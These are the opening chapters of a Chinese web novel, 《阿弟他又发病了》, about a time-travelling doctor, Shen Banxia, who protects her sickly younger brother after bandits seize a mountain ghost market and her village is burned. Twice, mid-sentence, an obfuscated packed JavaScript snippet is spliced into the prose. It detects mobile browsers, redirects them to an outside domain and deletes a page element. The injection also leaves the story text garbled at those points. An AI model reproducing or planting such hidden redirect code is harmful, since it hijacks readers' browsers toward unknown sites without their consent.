《阿弟他又发病了》 1. 怪日 昀合二十五年,自沈半夏穿越到大晏,已经五载。 午后,沈半夏例行上栖云岭采药。 山路蜿蜒,因连日雨水泥泞不堪。拾级而上,她刚采了几株野牡丹,正欲换路前行,前方草丛忽然传来“簌簌”声响。 沈半夏眉头一挑,指尖微动,拈住藏于袖中的银针——针头萃过洋金花,浓度较高,可以让人麻木晕眩。 她低头拨开灌木,十步开外,两名青年前额贴着黄符,嘴里念念有词,目光呆滞—— 竟直愣愣地朝崖边走去… 沈半夏唰得起身,抄起手边的枝桠,一人一记敲在脑门上,接着又往二人膝窝各补一脚。 双膝抢地的疼痛最是钻心。待回过神来,二人已是满头盗汗,怔怔地瞪着一步之遥的深渊,双手向后撑着连连后退。 “醒啦?”沈半夏站在身后,甩了甩手里的树枝。 “在下柳翩生,多谢姑娘救命之恩!” 名唤柳翩生的公子双手抱拳,一身白绸青衫,衣襟微敞,宽大的袖口沾着泥斑。 “在下夏久,多谢姑娘救命之恩!” 另一位一身劲装短打,不似娇贵公子模样。相较面色稍缓的同伴,他仍眉头紧锁,额间渗出黄豆大的汗珠。 沈半夏端详片刻,从怀里摸出一粒药丸,直径塞他嘴里:“含着。” 片刻修整后,二人称是为寻鬼市而来,谁料林中转悠一整日,什么都没见着。 沈半夏挑眉,自己倒是这鬼市的熟客。 山中有一处偏僻之地,是市井传闻中的黑市,以物易物,无论是炼成的丹药还是日常物件都有机会获得。有时亦能换些糕点零嘴,哄得阿玉雀跃欢喜。 阿玉是沈半夏的阿弟,同她一道前后脚被养父母捡回了家。 穿越前,无国界医生沈半夏正在战乱边境抢救伤患,因撤退得晚了,被流弹击中当场殒命。再睁眼便成了流落山林的孤女。 奄奄一息之际,幸得被一对老夫妻救下,抚养至今。老两口无儿无女,日子过得紧紧巴巴,但淳朴好客,哪怕是路边遇到受伤的小兽,也要搭手喂点吃食。 自此一家四口,虽是啖淡饭,著粗衣,但胜在平安喜乐。 说回眼前二人想寻的鬼市。正因半夜而合,鸡鸣而散,才谓之鬼市。 沈半夏摸索着下巴,“谁家鬼魂光天化日瞎晃……” “阿久!你快看!”柳翩生跳脚惊呼,手指着沈半夏身后。 沈半夏大惊,一转头,夜间无数次造访的市集,竟真的在白日里出现了…… * 林间烟雾缭绕,往深处走,雾里隐约出现一条石板铺呈的长街。 柳翩生惊得张大了嘴,“……竟、竟真有鬼市?” 原本浓雾弥漫的山林间,红灯笼的微光影影绰绰,路旁隐约可见摊铺林立,稀疏人影浮动。 可没走两步,三人同时打了个寒战—— 这市集看似热闹,却静得出奇。 卖杂货的不吆喝,耍把式的不敲锣,商贩个个脸色发青,瞳孔涣散。 着实让人脚底生寒。 沈半夏跟在二人身后,蹙眉不语。从未见这般阴森景象,难道真的是七月半鬼门开,通向了阴曹地府? 蓦地,一名佝偻着身子的老妪,穿过薄雾迎面而来。瘦骨嶙峋,穿着满是补丁的破布衣裳,手里端着个豁口的瓷碗,碗里盛着生米。 不等三人反应,老婆子突然扬手…… "晦气!"柳翩生连忙后退。夏久下意识地拽住他手臂将人拉至身后,挥袖挡住脸。只有沈半夏愣在原地,任由米粒落在衣襟上。 "不接引路米,难回阳道间!" 老妪发出尖锐诡异的笑声,直直地从三人中间撞出一道口子,与沈半夏擦肩而过。 “吓死人了!”柳翩生跺脚,扯着夏久的衣摆不敢放开。 三人继续往里走,在一摊位前驻足。 竹条支起的摊位架子上,坠着打结的红绳。摊主面无血色,看到有人靠近,缓慢地半抬起眼,张口发出粗沙砾般的声音:“换命红绳,绳缠命换生死。” “换命?怎么个换法?”柳翩生大着胆子,好奇地往前凑,伸手去拿摊位上的红绳。 “阿生!小心!” 原本坐在摊后一动不动的摊主突然起身,拿起红绳就朝柳翩生挥去,他动作奇快,眼看就要套住柳翩生的脑袋。 电光火石之间,夏久唰地抽出佩剑斩断绳索。可就在同时,他浑身一震,颈侧传来一阵密密麻麻的刺痛… 下一秒,二人缓缓倒下,闭眼前的一瞬,夏久好像看到了他们身后: 沈半夏手里捏着银针,面无表情地与他对视… * 见二人倒地昏迷,一黑一白扮做无常的彪形大汉立即拿小臂粗的麻绳将人捆好,掏出两块浸了药的破布团挨个塞嘴里。 待料理好二人,“黑无常”起身打量起了杵在原地一动不动的沈半夏。 眼前女子莫约二十来岁,因生得一副清冷的长相,一双桃花眼勾出的不是潋滟春光而是冬日凛冽。 “大哥,这个小娘子不是鬼市人,待我一并抓了去!”“黑无常”挥着粗绳跨步朝沈半夏走来,生生踩断几根横在地上的残枝。 沈半夏抿嘴不语,面上不动神色,冷汗早已浸湿后背,方才用掉了银针,现下不过是个手无缚鸡之力的弱女子。 “大人且慢!”红绳摊主赶忙上前,侧身拦在沈半夏和“黑无常”之间。 “小女上月下山寻她娘亲了,怪不得没和大人打过照面。”摊主转向“黑无常”,从怀里掏出一个棕色小瓶子举到胸前,“小的前日孝敬大人的,大人可还记得?” “我记得你!”“黑无常”手臂一挥,收起了绳索,“说来也怪,那玩意当真有奇效。” “是了!小女成日混迹山林,倒是学会捣鼓了些制药的方子…”摊主转头朝沈半夏使了个眼色,“快,拿出你的也给大人看看!” 沈半夏了然,从背篓里掏出药瓶递了过去。 “当真是一样。”“黑无常”将其置于鼻尖嗅了嗅,“既然如此,你带她回去吧。” 一直弯腰在柳、夏二人身上翻找的“白无常”此时也走了过来,接过“黑无常”抛来的瓶子收入袖中。 “大哥,可有发现?” “只在一人身上找到些寻常富家公子的配饰。”那人摇了摇头,扫了一眼沈半夏,突然将她拽到身前。 “你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464342|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把背篓里的东西倒出来,然后当着我的面把身上的东西也翻出来!” 沈半夏被拽的一个踉跄,稍稳住身子后缓缓取下背篓。 新鲜的草药,随身的手帕,五六个半掌大的瓶瓶罐罐…和一包油纸包裹的饴糖。 是午后出门时,沈半夏给阿玉的另外半份,怕他贪嘴,打算留着后日再给他… “没有!”“黑无常”拨弄着地上散落的物件,又顺手挑了几个药瓶揣进兜里。 “走吧大哥,那群酒囊饭袋哪能真找到我们…” “白无常”终于点头,交代把抓来的人一并拖下去关押后,总算转身离去… 沈半夏盯着油纸有些出神,方才绷紧的神经总算松了下来,思绪回到今天出门的时候… “阿姐!” 瞧着沈半夏打算出门,屋里跑出一名的少年。少年身形消瘦,身着麻布制的破旧布衣。但面容生得白皙俊俏,乌黑的眼珠,如玛瑙般灵动。 少年跑到她跟前,眉眼弯弯,脸颊上有一对淡淡的酒窝,像盛着蜜糖似的,帮她背好竹制的背篓。背篓盖着一块蓝白相见的衬布,里边是少年精心备好的物件。 “谢谢阿玉。” 沈半夏抬手摸了摸少年的后脑勺,五年时光转瞬即逝,眼看着阿玉已经比沈半夏高了半个脑袋。 她突然想起什么似的,掏出一小包油纸,里边儿包着几颗饴糖。 “按时把药吃了,禁食到酉时方可喝水吃糖。” 阿玉乖乖点头,双手接过纸包,取出绢帕,小心翼翼地裹好后揣进怀里。 他身子弱,前几日受了凉,脾胃虚弱,被沈半夏盯着禁了食。 她这个阿弟素日里乖巧懂事得很,但就是怕苦,偏偏身子又弱离不开汤药。老人家耳根子软,一见阿玉委屈泛红的眼角,立马倒戈端着药碗又出来了。 于是家里也只有沈半夏铁石心肠,摁住人把药往桌上一放,面无表情盯着阿玉皱巴的脸,待他小口啜完才肯罢休,跟个受了惊的小兔子一样。对付小屁孩,武力镇压效果上乘,老祖宗诚不欺我,沈半夏心想。 “阿夏,等等。” 屋里又跟出来一个老妇人,是沈半夏和阿玉的养母,王氏。见沈半夏还没走,她松了口气,赶忙递上几张淡黄色的符纸。 “最近山上不太平,七月半,鬼门开,魍魉出。你爹上次去镇上,特地给你换了这个,说是贵人们驱邪用的……” 沈半夏笑着收下:“晓得了,谢谢阿娘。” 王氏见她敷衍,不放心继续叮嘱:“可别忘了贴脑门儿上。” * “半夏姑娘?半夏姑娘!” 摊主的声音把沈半夏叫回了神,当她一个小娘子吓破了胆。 “他们走了,姑娘快回吧!” “多谢大伯。”沈半夏欠身朝他行了个礼,弯腰一一拾起东西放回背篓,一边压低声音问道:“这…到底是怎么回事?” “半夏姑娘,也有月余没来鬼市了吧。”摊主叹气,“月初,一帮子山贼占了我们的地方,起初只是不让我们出摊,然后竟…” 说至此他顿时声咽气堵,强忍悲痛道:“后来他们扣押了我们家眷,逼得我们扮成这鬼模样,抓被引来的人…” 2. 迎,瘟神 意识回笼,夏久四肢瘫软,呼吸略带局促。他下意识想找佩剑,发现手脚被麻绳捆着,无法动弹。 他定了定神,打量起四周。隔壁柳翩生还昏迷着,同样被捆住了手脚。二人正在一间昏暗的屋子里,尘土飞扬,门窗紧闭,墙角垒着些看不清是何物的杂件。 “这、这是怎么回事……”柳翩生醒来后吓得赶紧往夏久身边挪,“我们、我们该不会是真的撞了鬼吧?” “刚才那位女子……”夏久低头思忖,如若不是遭她暗算,贼人定不能得手,都怪自己因被救了一命就放松警惕。 “哇!漂亮姐姐居然是妖女吗!”柳翩生哭丧着脸,“我还以为是救命的神仙呢……” “噤声!”夏久耳朵动了动,屋外传来窸窣声响,似是来人的脚步声。 门“吱呀”一声被推开,一名女子走进屋来,正是放倒了二人的沈半夏。 “你先别急着哭。” 沈半夏瞥了柳翩生一眼,见他泫然若泣,赶忙出声阻止。 “没时间解释,先跟我走。”沈半夏拎着夏久的佩剑,迅速斩断束缚二人的绳子。 夏久深深地看了她一眼,心下暗暗盘算,先前中的毒还没彻底散去,他此刻没有十足把握硬闯未知的魔窟。 沈半夏领着二人往门外跑去,三人猫着身子,蹑手蹑脚地前进。不料刚走出不远,就被一大汉拦住。 “半夏姑娘?”那人似乎是沈半夏的熟识,没有立刻抽刀挥过来。 “大牛,这二位是我的朋友,能否……” “既然如此,姑娘快走。”大汉听罢爽快地点了点头,侧身放行。 “哦对了!”刚走了没几步,沈半夏像是想起什么,转身递给大汉一个药瓶,“本打算过两日再给你拿来,夏季阴湿,记得嘱咐大娘少用凉茶。” “多谢沈姑娘!”大汉抱拳谢过。沈半夏这才继续带着二人偷偷摸了出去。 “总算出来了。”行至半山腰,柳翩生松了口气,揉了揉有些酸涩的手腕,“姑娘方才给那人的是药吗?” “你要尝尝?”沈半夏扔给他一个小瓶子。 夏久见了正想阻止,可柳翩生手比脑快,已经倒出一颗舔了舔,瞬间皱得鼻眼乱窜: “好腥…” “猪肝糜。”沈半夏没搭理,自顾自地继续往前走。 “为何要给那位大哥的娘亲这东西啊!” “老太太吃不了肝脏。”沈半夏驻足,转身看着此刻正细细打量药丸的柳翩生。 其实大牛的阿娘只是因长期营养不良导致的夜盲和佝偻,多吃些蔬菜和肉类脏器就好了。 动物下水不算矜贵,但这个时代,对大多百姓而言更难的是生存。大牛家里还有妻儿,她阿娘根本舍不得吃,就算熬成汤水也没用。 无奈之下沈半夏只好唬她是丹药,说是自己同大牛换的。 云溪村地处大晏南地,因背靠栖云岭而得名。栖云岭终年云雾缭绕,山间涓流汇成溪水,最终并入净河将村子半绕,本该是物阜民丰的膏腴之地。 然而,因太祖晚年妄求长生,沉迷炼丹问仙,举国上下趋之若鹜,农田归于官有,百姓种什么,种多少,皆需上呈批验,苛捐杂税压得穷人难以喘息。 “你们快走吧。”她看了看身后的二人,鬼市异变得着实蹊跷,她虽终日苦求疑难杂症的新鲜刺激,但更不想轻易惹祸上身,毕竟五年下来,她早不是孤家寡人,甚至拖家带口的。 夏久不语,只是定定地看着她,不太愿意善罢甘休。 “算了。”沈半夏叹气,柳翩生好糊弄但这个夏久着实有些麻烦。她从袖中掏出一张皱巴巴的纸条递给二人—— 鬼市生变,先助拿二人。 “记得那个朝我们撒米的阿婆吗?”沈半夏解释道:“她故意撞开我们,和我擦肩而过的时候塞我手里的。” “我阿妈和阿弟身子不好,我们也买不起药馆的药材。”沈半夏一边走一边继续说到。 “所以我常去鬼市拿草药换物,顺便……”她顿了顿,侧过身来打量二人不菲的行头,“顺便替人看病。” 惊讶于大晏医疗管制的严苛,手握几国执照的沈大医生只能当个黑市鬼医。 “我不清楚为什么鬼市变成这样……”沈半夏拿出从二人额头上摘下的黄符,“这个上面浸了迷魂药。先前就算我不出手,应该已经有人准备拿下二位。” “想搞清鬼市异变,夏公子不如从这黄符的来历查起。” 沈半夏耸了耸肩,心里默默道,这符跟筛选猎物的标记似的。 暮色四合,林间光线昏暗,三人一同往山下走去。 突然,柳翩生望着西南方向,惊呼出声。 “那火……怎地这般旺盛?” 远山处,一抹红光渐渐映入眼帘,沈半夏的心一瞬悬了起来—— 那火光腾起的方向,正是云溪村。 * 沈半夏一路狂奔,栖云岭绿树成荫,此刻繁茂的枝叶,反倒成了火灾的助燃剂。 村中多是吊脚楼与茅草屋,一点火星便能引燃整片屋舍。 沈半夏跌跌撞撞奔至村口,只一眼,便如坠冰窖—— 宛如惨烈的黑白画卷,目之所及一片狼藉,触目惊心。她疯了一般跑到自家门前,屋子被烧得只剩下焦黑的骨架,焦炭的刺激气味充斥着鼻腔。她踉跄着冲进屋内,在一堆残骸中,找到了张大和王氏的遗体。 奇怪的是,二人脸上竟无痛苦之色。 沈半夏浑身颤栗颤抖,指尖触电般地收回来。一个可怕的猜测在她的脑海里成型 ——莫不是火灾前,村里人就早被下毒… 倏地,她力气像被抽空,灵魂出窍般眼前慢慢模糊失去了焦距。 她跪坐在被烧得黢黑的地上,大滴大滴的眼泪无声滚落,砸在地上被炭灰染成黑水。 一家人…沈半夏瞳孔猛地一震—— 不对,阿玉呢? 沈半夏手脚并用,跌跌撞撞朝尚未倒塌的那一头爬去,口中喃喃:“阿玉……阿玉可能还……” 那孩子体弱,中毒的话怕是早撑不住了。她发疯似地在烧焦的废墟中翻找,指甲撕裂,手上满是血污。 也不知过了多久,尘土漫天,沈半夏脱力地瘫软在地,胸膛剧烈地起伏—— 没有。 阿玉可能还活着。 她夺门而出,踩着残垣断壁,沿着昔日熟悉温馨,此刻面目全非的路挨个搜寻—— 溪边、林下、屋后、石桥旁…… 入夜后的村庄静得瘆人,唯有靠山的那头,山火未灭,仍旧烧得噼啪作响。 终于,在靠近溪流的鹅卵石岸上,她寻见了阿玉熟悉的身影。 浑身泥污的少年趴在石堆上,手里握着她留下的糖纸,身边滚落着一个破了半边的木盆。 沈半夏踉跄扑过去,手指颤抖着搭上少年的颈侧…… ——命定天算,早该是阎王殿前客咯! “……谁?” 沈半夏瞳孔骤缩,猛一转身,可四下只有融入夜色的断壁残垣。 ——咦?这丫头能听见本座的声音了? 刹那间,数道金光从阿玉心脏处绽开,刺目的光线照亮了整个云溪上空。 只见一名身着白袍的青年在光芒中缓缓现身,他发间随意挽着一支翠绿的烟斗,眼睑半阖,神色恹恹。 “你是何人?” 沈半夏被眼前之景吓得一楞,嘴唇微张一时间竟不知道作何反应。 就算前世她不信鬼神仙怪,可魂穿大晏的事实让她无可辩驳。 “你居然可以瞧见本座了?”青年登时睁开了眼。 沈半夏迟疑点了点头。 “太好了!五年了,该是小娘子前世的功德散尽咯。” 见沈半夏真能瞧见自个儿,此人顿时眉开眼笑,他生了一副圆润和善的模样,倒是不似凶神恶煞的厉鬼,至少,在外貌上。 “我前世的功德?” 抓住他话里重点,眼前之人,也可能不是人,竟知晓她的前世今生?原来这就是她迟到了五年的,金手指? “然也。” 青年从半空中跳到地上,笑眯眯得踱步至沈半夏跟前。 “本座乃黄瘟仙人座下修行神子——“ 他一顿,双目上挑好一副得意模样, “瘟神子,是也!” "……" 沈半夏嘴角抽搐,不是说她前世功德吗?一枪爆头葬身异乡还不够惨,竟还被上身了一尊瘟神。 “那大仙这是要?” 沈半夏竭力压住面部神情,万一招惹了瘟神害了怀里生死未卜的阿玉就坏了。 “你个小丫头好生无礼,本座乃上仙,怎屑加害区区凡人。” “可您老不是降灾病的瘟神吗?”能洞悉人心,可能真是神仙。 “是瘟神子!” “了然,但从古至今民间习俗都是——送,瘟,神。” “好你个黄毛丫头,不敬上仙!” “那还请上仙救我阿弟性命!” “这就对了嘛”青年微微颔首,瞥了一眼她紧紧抱住怀里的少年,“本座不可随意干涉凡人寿命。” 沈半夏黯然,果然瘟神都是降灾的。 “好你个……”青年见她失魂落魄的模样气得发抖,“这少年人早该五年前就命数已尽,要不是被本座上身的你施以援手。” “上仙是说我可以救阿玉?”沈半夏打断他的话,方才黯下的眸光蓦地亮起。 “你必须救。”瘟神子笑道,“他与你命数已然纠缠在一起,你救他,更是救你自己。” “此话怎讲?” “本座乃五大瘟神之首黄瘟仙人座下,选中了你这个有缘的凡人。”、 瘟神子抖了抖白色道袍,负手绕着沈半夏二人踱步。 “你的命数,全靠本座续上。”他突然俯身凑到沈半夏眼前停住。 “你自然,要供奉本座。” “如何供奉?” “本座乃瘟神子,自然靠瘟病之气修行。” “要我投毒,引发大规模疫病供你修行?” “非也。” “要我杀人越货,炼就人间地狱供你吸食?” “休得一派胡言!” “那何来瘟病之气?” “本座是仙,自然只靠自发的瘟病之气修行。”瘟神子被沈半夏气得瞪大了眼。 “和你前世一般,”他摸了摸下颌,“要你悬壶济世,行医救人。” “每救治一人,本座便可吸食他溢出的瘟病之气。” “为何不能直接吸食病痛,岂不是更能救苍生于水火。” “本座是上仙,不可胁迫,哪怕是瘟病邪气。” 沈半夏点了点头,算是搞清了瘟神附身的代价 ——不仅没法力加成,还是个讨债系统。 “那我阿弟……” “无碍,你在鬼市救了人性命,可以续上。”瘟神子摆手,“但若你二人一月内无法继续供奉本座,可就……” 沈半夏低头看着怀中之人,双指继续搭上他的颈侧 ——果然还有脉搏。 她小心翼翼地将人翻过来楼在怀里,喉头哽咽,眼泪啪嗒啪嗒砸在少年的脸上,下意识地收紧手臂。 怀里的人发出轻轻呢喃:“阿…阿姐……” 沈半夏怔住,低头和阿玉对视。她已经很久很久没有看过这样狼狈的阿玉了——少年粉雕玉琢般的脸蛋,早已不复往昔般洁净,被浓烟和泥水染得黑黢黢的。 可她的阿玉,素来最喜欢干净。 他从不与村里孩子疯闹,性子安静乖顺,衣衫整洁。可能是因为体弱多病,他总喜欢安静地坐在屋檐下,眼神追着她走来走去。 五年前,二老用一个硬馒头把阿玉捡了回来。刚来时的阿玉,瘦的皮包骨头,衣衫下密密麻麻布满了大大小小的伤痕。跟沈半夏穿越前正在救治的灵沤国的难民小孩似的,脏兮兮的。 于是阿玉成了沈半夏穿越后收治的第一个病人。 阿玉虽然乖巧听话,但绝非一个省心的病人。常藏着忍着,宁肯疼得半夜蜷成一团,拽着她的衣角不放,也不吭一声。 沈半夏头疼,沈半夏不理解。小孩真是最难搞的患者。 有一日,她采药归来,看到阿玉在和邻居家的小孩对峙。沈半夏离得远,听不清楚二人的对话,只见对面的小男孩咧着嘴一脸挑衅,阿玉背对着他,小身板微微颤抖,双手收在胸前,大抵是护着什么,低着头不语。 突然,那东西被小男孩一把抢过。年幼的阿玉猛地抬头,用力地把对方掀翻在地,死死揪起他的衣襟,发出小兽般低声的怒吼。 阿玉拽得太紧,那人瞬间呼吸急促,脸色发绀,张大嘴却只能发出无声惊呼,眼中恐惧随着瞳孔一齐放大。 沈半夏上前一把拉开阿玉,这才看清他一双眼睛布满血丝,但在看到沈半夏的刹那褪去了狠戾,眼底湿意氤氲,眼角通红。怯生生的,手里拽着她送的糖。 “阿,阿姐,我…”少年吓坏了,似是怕极了被沈半夏嫌弃,小心翼翼拽着她的衣摆一动不动。 沈半夏没有看他,反而转身盯了邻居家小男孩半晌,她神色惯是淡然,一举一动带着些清冷感,吓得小男孩“哇”得大哭跑回了家。 后来她拜托王氏带着一大包糖上门赔罪,一大包,让不懂节制的小屁孩,牙疼了整宿。 自那以后,阿玉粘她更紧了。 “阿姐,沈…半夏…你…别哭…” 少年虚弱的呼唤让沈半夏回神,她看着怀中的少年。五年光景,他明明已经长高了许多,可抱起来,为何依旧单薄得让人心疼。 瘟神子不知何时消失了,大概是重新附上了自己或者阿玉的身。 忽然,一阵窸窸窣窣的脚步声传来,在这满地冤魂的废墟里显得格外瘆人。 沈半夏心头骤然一紧——不是天灾是人祸。那火是有人纵的,全村是被灭口的。 她不敢多想,立刻背起阿玉藏进最近的废墟里,屏住呼吸。待脚步声远去,沈半夏才敢猫着身子悄悄摸回家里,想看看是否能寻些有用的东西。 可屋内早已被烧得一干二净,翻了半天,竟只找到几枚铜板 她咬牙将铜板收起,草草葬了夫妇二人。她抹了把泪,回头望了眼满目疮痍的村子,这里不安全,纵使万般舍不得,她也不敢久留。 * 趁着夜色掩护,沈半夏背起阿玉,一路逃到了最近的县城——云合县。 大晏国夜间施行宵禁,夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464343|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间戒备森严,城门紧闭,二人只能先躲在城外的草垛里等待天亮。 “瘟神子?”四下无人,见阿玉虚弱睡了过去,她低声轻唤。 “救阿玉的算吗?” ——自然算,你和你阿弟的瘟病可是本座修炼的饕餮珍馐。 “……一把年纪了还是清淡些的好。” 破晓时分,沈半夏吃力地背着阿玉窜入进城商贩的马车,用干草掩住身体,混入了城内。 云合县是南地最热闹富庶的县城。长街十里,朱楼夹道,绣幡招摇如云。青石板上蹄声嘚嘚,马蹄声与吆喝声此起彼伏。 与云溪村的人间地狱截然不同。 阿玉在进城的马车上发了高热,神志愈发不清醒。 沈半夏只得将他藏入一处僻静的巷子里,拿干草挡着,叮嘱几句后匆匆离开,四下寻觅吃食和药材。可她没几个钱,只能先在摊边买了一个包子。 忽然,一道身影从旁窜出,沈半夏凑近一瞧,是个蓬头垢面的瘦小老乞丐。 大概是争夺地盘成功了,小老头得意洋洋地捻着胡须,三两下就把战利品往嘴里塞,不消片刻,涨得满脸通红,青筋暴起。 沈半夏皱眉,立刻冲过去捏住他的下颌,从手边垃圾堆里掏出一截竹片,径直往老头喉咙里捅,逼得他将方才吃进去的东西全部吐了出来。 好在吐得及时,老头缓过神来,一手撑墙,一边用力喘着粗气,“救命之恩,老头子铭记在心。” 沈半夏没空听他废话,径直问道:“大爷可知哪处可寻得药材?” 老头眼睛一亮,拍拍胸脯:“我带你去!且随我来!” 他领着沈半夏七拐八绕,来到镇中一家药馆的后巷,指了指墙根下的狗洞:“钻进去就是后院。” 沈半夏立马低身跟他钻了进去。二人偷偷摸入后院。她熟稔地辨识着草药,翻出些阿玉能用的药材。 这时,忽然传来一阵脚步声。 “快!”老头一把扯住她衣袖,躲进一边的柴房,轻轻掩上门。两人屏住呼吸。 “掌柜的,今儿药行那边又涨价了,说是西北的丹参进不了关…” “唉,”掌柜叹气,“战事吃紧……药材运输愈发难了。‘龙涎草’也被禁了,坊间黑市里倒是流窜的厉害,价值千金……” 沈半夏听得一怔。她记得这味药极其稀罕,然而寻常病症根本用不上,为何会在市面上疯抢? 不等她慢慢琢磨,老头就扯着她袖子,示意人已离去,二人赶忙溜出后院。 回到小巷里,阿玉早醒了,披头散发,衣衫凌乱,手中握着一块碎石。 接着,他突然猛地抓起石块对准自己… “阿玉!”沈半夏大惊失色,立马飞扑过去一把将他手里的石头夺下。 阿玉一愣,随即猛地抱住她,瘦弱的身子剧烈颤抖,“阿姐……别丢下我……我以为你也不要我了……” 沈半夏的心脏被揪紧,只能紧紧回抱住他,顺着他的后背缓缓拍着,在他耳边喃喃:“别怕,我回来了。” 那老乞丐在一旁挠了挠头,小声说:“你们先跟我来吧,我有个地方能住。” 他所谓的“地方”,是一处驿站后头的破旧柴屋。 夜半,沈半夏蹲在缺了一根腿的破桌子前,望着跳动的烛光出神。 在大晏,医者药品皆受严管。药品归“药局”所管,行医需由“医局”颁证,医者必须有师门,方可挂号施诊。 阿玉的病,耽误不得。鬼市没了,药材无处可换;口袋里只剩几枚铜板,怕是连糊口都难。 还有个讨债的瘟神子。沈半夏眉头皱得更深了,不知如何才能喂得饱这位上仙。 ——世间百态愁苦之人比比皆是,酸甜苦辣应有尽有哟。 “那也得人人都让我治啊。” 她心下无语,自己本来也痴迷医理,最爱疑难杂症。然小女子徒有一身医术,没有师门根本无法进医馆坐诊行医; 用过药后,阿玉的高热总算退了。迷迷糊糊间醒来,就看到沈半夏孤零零地坐在那里,低着头,双手抱膝。 阿玉从怀中摸出一块玉佩,递到她面前。 “阿姐,拿去当了吧。” 沈半夏怔住。那块玉,是当年老夫妇死也不肯典当的东西,一是怕亲人寻他时,失了信物,二是……日后娶亲也许能用上。 “这……”她迟疑地望着阿玉。 “阿姐,我只有你了,我的命都是你的!”阿玉强硬地把玉佩塞进她手里,“阿姐,你是我的…是我的全部。” 沈半夏愣愣地看着他,微弱地火光在流动的空气中跳动着,阿玉漂亮的眼睛好似一汪湖水,深不见底却给她心安。 良久,沈半夏轻轻点头。 “好。我拿去换些药材,往后,我再想办法把它赎回来。” 她找了块破布仔细包好玉佩。她不识玉,只希望能多换点救命的药钱。 翌日一早,沈半夏独自前往镇中当铺。谁知,刚走至巷口,便撞上一个意想不到的人。 那人衣着华贵、面容俊秀,正是昨日在山中她救过的富家公子——柳翩生。 柳翩生一见她,眼眸一亮:“原来真的是姑娘!那日你走的太匆忙,我腿软根本追不上你!” 沈半夏没搭理他。柳翩生笑嘻嘻地跟了上来:“我还欠姑娘一命呢!你去哪,我陪你罢!” 沈半夏头疼不已,想着阿玉还在等药,二人正愁落脚之处,柳翩生腰间的配件哐哐当当惹人心烦。 她灵机一动,状似随口一问:“柳公子可有空宅子?” “自然有!”柳翩生立马点头,“镇南还有一处闲置的别院,不过不大,也很久没人入住了,怕是…。” 沈半夏立刻点头:“走!” 二人匆匆回到老乞丐的破屋子,沈半夏立刻冲进去把阿玉一把背起,准备动身,阿玉见她回来,眼睛一亮,“阿姐!” 可下一瞬,看清她身后跟着的贵气逼人的公子后,阿玉的眼神顿时暗了下去,死咬嘴角,眼色不善。 沈半夏自然是毫无察觉,她一心急着给阿玉寻一处干净舒适的屋子养病。入了别院,沈半夏赶忙向柳翩生道谢,随即慌忙前去后厨熬药。 院中只留二人,气氛微妙。 柳翩生倒是一直笑眯眯的。他干脆跟在沈半夏后面看她忙前忙后,“沈姑娘这般医术,当真扁鹊再世。只是大晏医馆需有师门挂靠,不过在下有一记。” “还请柳公子指点一二。” 沈半夏一听,搁下煽火的蒲团,起身转向柳翩生。 “虽入不了医馆,但姑娘可同在鬼市里一样,当个江湖郎中,摆个摊。” “好主意!”沈半夏点头,心下一喜,当了三四年鬼市黑医,江湖郎中的岗她自然熟悉。 “如果需要,我可替姑娘担保抓药!”柳翩生拍了拍自个儿刻意挺起的胸脯。 沈半夏连连道谢,突然间看到了点希望。 ——好主意,江湖奇人异事更加有趣,不知道能不能吃到奇珍。 然后,沈半夏身后,阿玉面色不善地盯着柳翩生,那眼神凶狠得像个自己领地被入侵了的受伤小兽。 咬牙切齿,却又无力反驳,只能心里怒道—— 他就知道,这柳翩生来者不善! 3. 心安 沈半夏的江湖摊子支起来已有几日。 这几日,她每日按时出摊,将药箱摆得整整齐齐,贴好阿玉精心题画的幕帘,连价钱都比街对面的老郎中便宜三文。 可江湖郎中众多,天花乱坠的咒符,下料贼猛的药酒,口若悬河的老道士都能唬住患者三分。 反观沈半夏,不过是个年纪不大的小娘子,模样虽好,可谁会相信一个黄毛丫头? 更别提偶尔某个上仙还在耳侧催债。 摊前冷冷清清,一日都来不了几人,勉强糊口都难,更别提阿玉缺不得的药材钱。沈半夏发愁,见着个面色不愈的过路人都眼冒红光,又因片刻后其恢复如常遗憾离场… 可阿玉却很满足。 他每日守着沈半夏,帮她支伞、搬凳,哪怕只是坐着看她给人搭脉,他那惯是苍白的脸色都泛起了红晕。 ——因为阿姐陪着他的时间更多了。 阿玉就这么日日盯着沈半夏发呆。前些日子高热不退,那段恐怖如梦魇般的记忆又疯狂地在夜里折磨他—— 梦里那个女人,是他的母亲,大晏曾经的皇后。 疯癫、暴戾,永远双目赤红。她不曾抱过他,甚至不曾朝他笑过。她会让下人一勺勺地给他灌下苦涩的药汤。然后,他就开始高热,手脚抽搐,头昏脑胀。 似乎只有这样,他才能短暂地见到父皇——那个总是神情冷漠的男人。 他不敢叫,更不敢哭,怕父皇嫌他吵。 可不知何时起,即便病得快断气了,那个男人也不再来过。 母后彻底疯了,告诉他,父皇不要他了。 再后来,奶娘深夜闯入寝宫,裹着他逃跑。她一手抱着他,一手推开沉重的宫门,他回头望见母后倒在床榻上,浓妆艳抹,嘴角噙着癫狂的笑容,一动不动。 奶娘带着他逃出了皇城,随商队一路南下,他们东躲西藏,不敢暴露身份。可命运如同扼紧他咽喉的手,终究还是追上了他们。 那夜,刀剑声在街道的尽头响起,奶娘只来得及将他塞进一艘小船,便转身迎上追兵。他在舱底缩成一团,死死咬着嘴唇,任泪水打湿了衣襟。 